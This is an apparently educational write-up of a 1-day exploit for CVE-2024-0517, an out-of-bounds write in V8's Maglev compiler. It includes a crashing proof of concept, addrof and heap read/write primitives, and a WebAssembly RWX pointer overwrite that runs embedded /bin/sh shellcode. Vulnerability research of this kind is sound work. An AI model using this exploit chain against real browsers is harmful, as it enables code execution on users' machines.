Preliminary Knowledge

In this section, we will explain a few things that you should know beforehand regarding a 1-day exploit. For more detailed information, please refer to other posts. Here, we will explain briefly and move on.

If you want to know more about the V8 engine, you can check out Fundamental Knowledge of the V8 engine, which might be helpful.

If you want to know more about JavaScript and the objects created with it, check out Fundamental Knowledgd of JavaScript.

What is V8 (feat. Pipeline)?

V8 is an engine written in C++ used by the Chrome browser. Since it’s a browser engine, the code it executes is written in JavaScript.

The V8 engine consists of various components for compilation and optimization, and today, we will focus on one of those components: the Maglev JIT compiler.

What is a JIT compiler? IBM explains it this way:

A JIT (Just-In-Time) compiler is a runtime environment component that compiles bytecode into native machine code at runtime to improve the performance of Java™ applications.”

Source: IBM - JIT Compiler

Maglev is a machine that compiles source code into machine code by statically analyzing it and optimizing it. When the V8 engine executes JavaScript code, if this code or function is repeatedly executed and marked as “hot” code, it determines the level of optimization based on the frequency.

The vulnerability we will be discussing occurred within this Maglev component, so we will be triggering optimizations to occur.

Garbage Collection of V8

Engines like V8, which allocate memory dynamically, require more advanced memory management techniques for better efficiency and speed. One such technique is Garbage Collection. In simple terms, objects that are still referenced remain alive, while those that are not referenced are cleared out.

To explain how it works, newly created objects are allocated in the Young Generation’s semi-space. Once this semi-space is filled, a Minor GC (Scavenger) occurs, which determines whether objects are dead or alive and clears out the dead ones. The surviving objects are moved to the opposite semi-space. This pattern repeats once the semi-space is filled again. Objects that survive two rounds of garbage collection are moved to the Old Generation.

Thus, the V8 engine manages memory by distinguishing between living and dead objects based on whether their references are maintained. Garbage collection plays a crucial role in the vulnerability we’ll explore later, so I recommend analyzing it more in detail through the post mentioned earlier.

V8 Sandbox (a.k.a. Ubercage)

V8 contains a mitigation technique called the Sandbox.

This Sandbox manages the objects that can be used in a separate virtual space called a sandbox. Rather than directly storing addresses of objects, it stores an index into a table.

Additionally, there is a feature called Code Pointer Sandboxing, which does not store code pointers directly in JavaScript objects but stores them as indices into a table. This prevents attackers from tampering with the code pointers to execute arbitrary code flow.

Even if we trigger a vulnerability and prepare all the necessary steps, if we can’t bypass this sandbox mitigation, we won’t succeed in exploiting it. Therefore, in the final part, we will explain how to bypass this mitigation.

JS Object Structure

In JavaScript, everything except for primitive values is allocated as objects. So, apart from primitive values like String, Number, Boolean, Null, and Undefined, everything is stored as key-value pairs. (Note: String, Number, and Boolean can become objects if defined using new.)

When debugging and analyzing memory structures, you’ll see that each object is allocated in similar ways (similar, not equal). Thus, when analyzing memory, you should always remember to compare and analyze the object structure with %DebugPrint.

The picture below shows a this object with %DebugPrint and the actual memory values. From this, you can easily identify that each memory section corresponds to Map, Properties, Elements, In-object property 1 and In-object property 2. Similarly, when memory analysis is needed, you should check how objects are allocated by inspecting them directly.

Allocation Folding

This technique is just as important to understand as garbage collection when analyzing this vulnerability. It is called Allocation Folding. This technique helps reduce or eliminate unnecessary memory allocations by optimizing the memory management process within V8.


For example, when allocating Class B and Array a, memory is allocated twice—once for each. But with allocation folding, instead of allocating memory separately, the total size (size(x + y)) is allocated, and Class B and Array a share that memory.

One key point here is that since the memory is allocated all at once and then divided, Array a will be placed in memory directly after Class B.

To perform allocation folding, Maglev calls a function called ExtendOrReallocateCurrentRawAllocation(). We will analyze this function in more detail during the V8 source code analysis part.

Environment Setup

The version of V8 we analyzed is 12.0.267.15. For setting up the environment, we followed the process outlined in the CW blog but changed the V8 version to this one.
Reference: The version built on the CW blog is a developer version where the CVE-2024-0517 patch was not applied yet, but updates regarding the V8 Sandbox (Ubercage) appear to have been implemented. Since the V8 exploitation methods used around that time may no longer work, we recommend building with version 12.0.267.15, which was actually released at that time.

V8 12.0.267.15 : https://chromium.googlesource.com/v8/v8.git/+/e73f620c2ef1230ddaa61551706225821a87c3b9

CW Research - CVE-2024-0517 : https://cwresearchlab.co.kr/entry/CVE-2024-0517-Out-of-Bounds-Write-in-V8

# install depot_tools
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$HOME/depot_tools:$PATH
echo 'export PATH=$HOME/depot_tools:$PATH' >> ~/.zshrc

# get V8
fetch v8
cd v8
git checkout e73f620c2ef1230ddaa61551706225821a87c3b9
gclient sync -D

# build V8
./build/install-build-deps.sh
gn gen out/debug --args='v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true'
ninja -C out/debug d8
./tools/dev/gm.py x64.release

# install gdb plugin
echo 'source ~/v8/tools/gdbinit' >> ~/.gdbinit

Vulnerability Analysis

Proof of Concept

We will now analyze the vulnerability patched in CVE-2024-0517.

This vulnerability arises when Maglev, one of the JIT compilers in the V8 engine, optimizes and executes code. When a child constructor creates an object, an uninitialized Current_raw_allocation value causes an OOB (Out-Of-Bounds) write.

Here is a portion of the JavaScript code that triggers the vulnerability. When running the PoC code, an error like the one shown below occurs. This error happens because something overwrites the “free-space” section, which is then detected, causing a fatal error and terminating the program.

The code and error message are as follows:

class ClassParent {}
class ClassBug extends ClassParent {
        constructor(a20, a21, a22) {
                const v24 = new new.target();
                let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object];
                super();
                let a = [1.1];
                this.x = x;
                this.a = a;
                JSON.stringify(empty_array);
        }
        [1] = dogc();
}
~/v8/out$ ./debug/d8 --allow-natives-syntax ./code/exploit.js

#
# Fatal error in ../../src/objects/free-space-inl.h, line 75
# Check failed: !heap->deserialization_complete() || map_slot().contains_map_value(free_space_map.ptr()).
#
#
#
#FailureMessage Object: 0x7ffe9d485188
==== C stack trace ===============================

    ./debug/d8(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x5b9ae47a7fde]
    ./debug/d8(+0x8c0960d) [0x5b9ae47a260d]
    ./debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x1ac) [0x5b9ae477853c]
    ./debug/d8(v8::internal::FreeSpace::IsValid() const+0xdf) [0x5b9ae0e79e1f]
    ./debug/d8(v8::internal::FreeSpace::next() const+0x1d) [0x5b9ae0e789dd]
[truncated]

Let’s check what overwrote this free space.

Maglev optimized the code as shown below. [1] indicates new.target(), [2] indicates the allocation of the x array, and [3] indicates the allocation of the this object and array a through the super() function.

From this, we can observe that the allocation of array a is always placed at an address 20 bytes higher than the this object.

Next, we will trigger garbage collection between the allocations of the this object and array a. Although a should be allocated in the Young Space, it gets placed under the this object in the Old Space due to garbage collection. This code causes the array a to overwrite the free space, which then gets detected and triggers a fatal error.

//add option --print-maglev-graph : ./debug/d8 --allow-natives-syntax --print-maglev-graph ./code/exploit.js

[truncated]
[1]
       5 : Construct r0, r0-r0, [0]
                eager @5 (8 live vars)
        44/11: CheckValue(0x03a40011c4f5 <JSFunction ClassParent (sfi = 0x3a40011b095)>) [v41/n8:[rdx|R|t]]
        45/15: AllocateRaw(Young, 20)  [rdi|R|t], live range: [45-50]
        46/16: StoreMap(0x03a4001222fd <Map[20](HOLEY_ELEMENTS)>) [v45/n15:[rdi|R|t]]
          152: ConstantGapMove(v14/n14  [rax|R|t])
        47/17: StoreTaggedFieldNoWriteBarrier(0x4) [v45/n15:[rdi|R|t], v14/n14:[rax|R|t]]
        48/18: StoreTaggedFieldNoWriteBarrier(0x8) [v45/n15:[rdi|R|t], v14/n14:[rax|R|t]]
          153: ConstantGapMove(v11/n13  [rcx|R|t])
        49/19: StoreTaggedFieldNoWriteBarrier(0xc) [v45/n15:[rdi|R|t], v11/n13:[rcx|R|t]]
        50/20: StoreTaggedFieldNoWriteBarrier(0x10) [v45/n15:[rdi|R|t], v11/n13:[rcx|R|t]]
[truncated]
[2]
      11 : CreateArrayLiteral [0], [2], #37
        52/24: AllocateRaw(Young, 56)  [rdi|R|t], live range: [52-67]
        53/25: StoreMap(0x03a400000565 <Map(FIXED_ARRAY_TYPE)>) [v52/n24:[rdi|R|t]]
          154: ConstantGapMove(v24/n26  [rbx|R|t])
        54/27: StoreTaggedFieldNoWriteBarrier(0x4) [v52/n24:[rdi|R|t], v24/n26:[rbx|R|t]]
          155: ConstantGapMove(v16/n23  [r11|R|t])
[truncated]
        63/36: FoldedAllocation(+40) [v52/n24:[rdi|R|t]]  [rsi|R|t] (spilled: [stack:1|t]), live range: [63-137]
          156: GapMove([rdi|R|t]  [r8|R|t])
          157: GapMove([rsi|R|t]  [rdi|R|t])
        64/37: StoreMap(0x03a40010eea5 <Map[16](PACKED_ELEMENTS)>) [v63/n36:[rdi|R|t]]
        65/38: StoreTaggedFieldNoWriteBarrier(0x4) [v63/n36:[rsi|R|t], v14/n14:[rax|R|t]]
[truncated]
[3]
    108 : FindNonDefaultConstructorOrConstruct <closure>, r0, r8-r9
       100/90: AllocateRaw(Young, 52)  [rdi|R|t] (spilled: [stack:3|t]), live range: [100-145]
       101/91: StoreMap(0x03a4001222fd <Map[20](HOLEY_ELEMENTS)>) [v100/n90:[rdi|R|t]]
       102/92: StoreTaggedFieldNoWriteBarrier(0x4) [v100/n90:[rdi|R|t], v14/n14:[rax|R|t]]
[truncated]
      127/129: FoldedAllocation(+20) [v100/n90:[rdi|R|t]]  [rcx|R|t], live range: [127-135]
          195: GapMove([rcx|R|t]  [rdi|R|t])
      128/130: StoreMap(0x03a400000829 <Map(FIXED_DOUBLE_ARRAY_TYPE)>) [v127/n129:[rdi|R|t]]
          196: ConstantGapMove(v17/n47  [rdx|R|t])
      129/131: StoreTaggedFieldNoWriteBarrier(0x4) [v127/n129:[rcx|R|t], v17/n47:[rdx|R|t]]
          197: ConstantGapMove(v36/n132  [xmm0|R|f64])
      130/133: StoreFloat64(0x8) [v127/n129:[rcx|R|t], v36/n132:[xmm0|R|f64]]
          198: GapMove([stack:3|t]  [rbx|R|t])
      131/134: FoldedAllocation(+36) [v100/n90:[rbx|R|t]]  [r8|R|t], live range: [131-139]
          199: GapMove([r8|R|t]  [rdi|R|t])
      132/135: StoreMap(0x03a40010ee25 <Map[16](PACKED_DOUBLE_ELEMENTS)>) [v131/n134:[rdi|R|t]]

Source Code Analysis

The vulnerability is found within the optimization flow when the child constructor is called through the VisitFindNonDefaultConstructorOrConstruct() function.

void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
  ValueNode* this_function = LoadRegisterTagged(0);
  ValueNode* new_target = LoadRegisterTagged(1);
  auto register_pair = iterator_.GetRegisterPairOperand(2);
  
//[1]  
  if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target,
                                                   register_pair)) {
    return;
  }
//[2]  
  CallBuiltin* result =
      BuildCallBuiltin<Builtin::kFindNonDefaultConstructorOrConstruct>(
          {this_function, new_target});
  StoreRegisterPair(register_pair, result);
}

This function is executed by Maglev when Ignition generates an instruction called FindNonDefaultConstructorOrConstruct for optimization purposes.

At step 1, Maglev runs the TryBuildFindNonDefaultConstructorOrConstruct() function with the received value. If this function optimizes successfully, it returns a value; if it fails, the flow continues to step 2. Step 2 instructs Ignition to implement the opcode for the instruction again.

The TryBuildFindNonDefaultConstructorOrConstruct() function calls BuildAllocateFastObject() to allocate objects.

This function merely allocates objects and internally calls the ExtendOrReallocateCurrentRawAllocation() function to determine whether allocation folding should occur using the current_raw_allocation pointer.

Once the allocation is complete, the pointer should be initialized, but there is no part to initialize it. Consequently, during the next allocation, an unintended allocation folding occurs due to the uninitialized current_raw_allocation pointer (i.e., the array a is allocated at the wrong place), leading to an OOB write.

Exploit

Triggering the Vulnerability

In the vulnerability analysis section, we confirmed that an OOB write occurred.

Full-exploit code is here.



When the vulnerability is triggered, the result shown in the above picture appears. Now, arrays x and a share the same memory location. This will cause type confusion between objects, allowing us to implement primitives for exploitation. Afterward, we will use these primitives along with WebAssembly to perform the exploit.

Type Confusion

Type confusion occurs when memory at the same location is used by two objects of different types. Currently, the x array and the a array are sharing memory at the same location.

The x array stores objects and is of the packed_elements type, while the a array stores floats and is of the packed_double_elements type.

Let’s explore what happens when the types differ with an example.

Suppose we insert an object, say “test”, into index 0 of the x array. The x array stores either objects or integers, but since we are dealing with empty objects, it stores an object. When storing an object, the address of the test object is written to the elements.

On the other hand, the a array reads data as 8-byte floats. If it reads the memory at the same location, it will interpret the data as a floating-point value of type double, which spans 8 bytes. Since this memory was originally holding the address of the test object, part of the 8 bytes will represent that address.

Implementing Primitives

Initial Addrof Primitive

This primitive allows the attacker to leak the address of a JavaScript object.

When the exploit is triggered, as explained in the type confusion section, the following two arrays overlap:

  • The elements backing buffer of the x object
  • The metadata and backing buffer of the a array

Thus, we can write data as an object into the x array’s elements and access it via the a array, reading it as a double.

Key JS code for this primitive:

function addrof_tmp(obj) {
  corrupted_instance.x[0] = obj;
  f64[0] = corrupted_instance.a[8];
  return u32[0];
}

A key point to note here is that the V8 heap compresses all object pointers to 32-bit values. Therefore, this function reads a pointer as a 64-bit floating-point value and extracts only 32 bits, which contains the address itself.

Initial Write Primitive

Once the length of the array is overwritten, out-of-bounds (OOB) read/write becomes possible.

This is because overwriting the length doesn’t immediately change the array, but it allows us to insert values at any index.

Therefore, we create another array, let rwarr = [1.1, 2.2, 2.2], and by finding the offset from the start of the a array to the metadata of the rwarr array, we can overwrite it with the desired value.

The corresponding code is as follows:

//code for considering only the case : addr_rwarr > addr_a
if (addr_rwarr < addr_a) {
        console.error("Failed");
}

//calc offset
let offset = (addr_rwarr - addr_a) + 0xc;
if ( (offset % 8) != 0 ) {
        offset += 4;
}

offset = offset / 8;
offset += 1; //our a array has one of 1.1
offset -= 1;

let marker42_idx = offset;

console.log(marker42_idx);

//declare and assign
let b64 = new BigUint64Array(buffer);
let zero = 0n;

//write primitive
function v8h_write64(where, what) {
        b64[0] = zero;
        f64[0] = a[marker42_idx];
        if (u32[1] == 0x6) {
                u32[0] = where-8;
                a[marker42_idx] = f64[0];
        }
        else {
                u32[1] = where-8;
                a[marker42_idx] = f64[0];
        }
        rwarr[0] = what;
}

GC Resistance

While executing our JavaScript code, if the Young Space becomes full, Garbage Collection may be triggered. When that happens, the positions of the objects may change, causing the primitives we created using offsets to stop working. To prevent this, we implement primitives that persist even after Garbage Collection by creating three new objects and linking them together.

The following code ensures that the Changer’s elements point to the Leaker object, and the Leaker’s elements point to the Holder object. Then, the x array, a array, and rwarr array have their length set to 0 for initialization. By initializing the arrays, we prevent the Garbage Collector from detecting the corrupted objects.

//create 3 objects
let changer = [1.1,2.2,3.3,4.4,5.5,6.6]
let leaker  = [1.1,2.2,3.3,4.4,5.5,6.6]
let holder  = {p1: 0x1234, p2: 0x1234, p3: 0x1234};

//get addr of objects
let changer_addr = addrof_tmp(changer);
let leaker_addr = addrof_tmp(leaker);
let holder_addr = addrof_tmp(holder);

//corrupt that objects
u32[0] = holder_addr;
u32[1] = 0xc;
let original_leaker_bytes = f64[0];

u32[0] = leaker_addr;
u32[1] = 0xc;

v8h_write64(changer_addr+0x8, f64[0]);
v8h_write64(leaker_addr+0x8, original_leaker_bytes);

//fix the corruption to the objects in Old Space
x.length = 0;
a.length = 0;
rwarr.length = 0;

Now, let’s briefly explain how these three objects work.

Since the Changer object’s elements pointer was changed to point to the Leaker object, accessing the Changer’s elements array will lead to the Leaker object.

Therefore, Changer[0] will not be 1.1, but rather correspond to the leaker_obj_addr + size value. Similarly, Leaker[0] will not be 1.1, but will instead point to the Holder object’s elements plus in-object property 1.

Final Heap Read/Write Primitive

This primitive functions similarly to the initial one, but is now implemented using the objects we created to be resistant to Garbage Collection.

In the v8h_read64 function, we change the Changer’s index 0 to point to the Leaker’s elements, allowing us to read the data at that location.

The v8h_write function is an extended version of the read function, allowing us to write data to that location as well.

function v8h_read64(addr) {
        original_leaker_bytes = changer[0];
        u32[0] = Number(addr)-8;
        u32[1] = 0xc;
        changer[0] = f64[0];

        let ret = leaker[0];
        changer[0] = original_leaker_bytes;
        return f2i(ret);
}

function v8h_write(addr, value) {
        original_leaker_bytes = changer[0];
        u32[0] = Number(addr)-8;
        u32[1] = 0xc;
        changer[0] = f64[0];

        f64[0] = leaker[0];
        u32[0] = Number(value);
        leaker[0] = f64[0];
        changer[0] = original_leaker_bytes;
}

Final Addrof Primitive

This primitive is used to obtain the address of an object, just like the previous addrof primitive.

The earlier primitive achieved this by causing type confusion between the x and a arrays.

However, since we have now initialized these arrays and are no longer using them (to avoid detection by the garbage collector), we use the newly created Changer, Leaker, and Holder objects to implement the addrof primitive.

function addrof(obj) {
        holder.p2 = obj;
        let ret = leaker[1];
        holder.p2 = 0;
        return f2i(ret) & 0xffffffffn;
}

Exploit

With all the primitives implemented, we can now use them to bypass V8’s sandbox mitigation (ubercage).

To bypass the sandbox, we will use WebAssembly.

The reason for using WebAssembly is that to execute shellcode, we need to move the pointer to an area with execution permissions. Such areas exist in optimized code sections but also in the RWX (read-write-execute) region created when a WebAssembly instance is generated. By overwriting the pointer that points to the RWX region within this WasmInstance, we can redirect the execution flow to the location of our shellcode.

Note: This exploit method was used before updates were made to the sandbox. Currently, WasmInstances no longer store pointers to RWX regions, so a new exploit method must be devised. Additionally, the offsets of the various addresses vary depending on the version of V8, so those must be determined through analysis.

To carry out the exploit, two WasmInstances are created. One will store the shellcode, while the other will have its RWX pointer overwritten to point to the shellcode’s location. Once this is done, executing a function from the latter instance will redirect execution to the manipulated RWX pointer, causing the shellcode to run.

let shell_wasm_code = new Uint8Array([
    0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 17, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 133, 1, 1, 130, 1, 0, 65, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 57, 3, 0, 65, 0, 68, 106, 59, 88, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 115, 104, 0, 91, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 98, 105, 110, 89, 235, 11, 57, 3, 0, 65, 0, 68, 72, 193, 227, 32, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 1, 203, 83, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 137, 231, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 49, 246, 72, 49, 210, 235, 11, 57, 3, 0, 65, 0, 68, 15, 5, 144, 144, 144, 144, 235, 11, 57, 3, 0, 65, 42, 11
  ]);

let shell_wasm_module = new WebAssembly.Module(shell_wasm_code);
let shell_wasm_instance = new WebAssembly.Instance(shell_wasm_module);
let shell_func = shell_wasm_instance.exports.main;

shell_func();

let shell_wasm_instance_addr = addrof(shell_wasm_instance);
let shell_wasm_rwx_addr = v8h_read64(shell_wasm_instance_addr + 0x48n);
let shell_func_code_addr = shell_wasm_rwx_addr + 0xB40n;
let shell_code_addr = shell_func_code_addr + 0x2Dn;
const tbl = new WebAssembly.Table({
        initial: 2,
        element: "anyfunc"
});

const importObject = {
        imports: { imported_func : (n) => n + 1, },
        js: { tbl }
};

var wasmCode = new Uint8Array([
0,97,115,109,1,0,0,0,
1,15,3,96,1,124,1,124,96,2,124,124,0,96,0,1,125,
2,36,2,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,
110,99,0,0,
2,106,115,3,116,98,108,1,112,0,2,
3,3,2,1,0,
7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,
10,31,2,22,0,68,144,144,144,144,72,137,16,195,68,204,204,204,204,204,204,
233,67,26,26,11,6,0,
32,0,16,0,11
]);

let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule, importObject);

let wasmInstance_addr = addrof(wasmInstance);
let RWX_page_pointer = v8h_read64(wasmInstance_addr+0x48n);

let func_make_array = wasmInstance.exports.make_array;

let func_main = wasmInstance.exports.main;
wasm_write(wasmInstance_addr+0x48n, shell_code_addr);
func_main();

Reference

CW blog - CVE-2024-0517

Exodus blog - CVE-2024-0517

V8 git 12.0.267.15